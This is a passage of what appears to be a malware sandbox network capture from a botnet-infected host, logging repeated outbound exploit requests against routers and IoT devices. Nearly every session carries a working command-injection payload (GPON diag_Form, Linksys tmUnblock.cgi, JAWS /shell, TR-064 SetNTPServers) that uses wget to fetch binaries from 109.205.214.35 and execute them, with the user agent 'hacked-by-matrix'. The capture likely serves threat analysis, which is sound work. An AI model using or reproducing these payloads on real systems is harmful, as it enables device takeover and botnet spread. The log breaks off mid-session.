Mar 21, 2024 05:25:45.082014084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.23	56466	178.227.135.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.082055092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.23	45218	94.122.11.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.082062960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.23	54898	210.74.119.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:48.089776039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.23	46492	109.14.50.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:48.089792967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.23	46274	109.160.183.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:48.089802980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.23	58818	172.65.21.247	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:48.204552889 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.23	42718	208.84.41.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:49.227622986 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:49.321218967 CET	173	IN	HTTP/1.1 400 Bad Request Content-Length: 54 Connection: close Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 62 3e 48 74 74 70 2f 31 2e 31 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 20 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><b>Http/1.1 Bad Request</b></body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.23	51334	5.46.134.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:51.097937107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.23	34812	42.3.232.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:51.097970009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.23	51790	5.182.178.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:51.097985983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.23	44796	42.233.239.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:51.098017931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.23	45420	37.65.52.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:51.098021030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.23	33814	52.220.177.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:51.698620081 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.23	45854	8.26.12.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:51.822439909 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.23	37936	137.184.158.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:52.431288958 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:52.519432068 CET	524	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:25:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 330 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 53 65 6c 6c 65 72 57 6f 72 6b 65 72 2d 36 64 37 65 35 65 39 61 62 31 62 31 33 2e 6c 6f 63 61 6c 64 6f 6d 61 69 6e 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at SellerWorker-6d7e5e9ab1b13.localdomain Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.23	56362	164.90.233.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:52.510972977 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:52.679306984 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:25:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.23	43368	172.67.233.125	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:53.195053101 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.23	59718	172.67.229.58	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:53.195107937 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.23	45688	172.66.136.67	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:53.195318937 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.23	60828	37.232.221.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.113485098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.23	55522	94.195.97.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.113496065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.23	54212	212.236.167.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.113498926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.23	53658	75.205.163.33	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.233268976 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.23	56826	32.216.48.33	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.238090038 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.23	56846	32.216.48.33	7547

Timestamp	Bytes transferred	Direction	Data
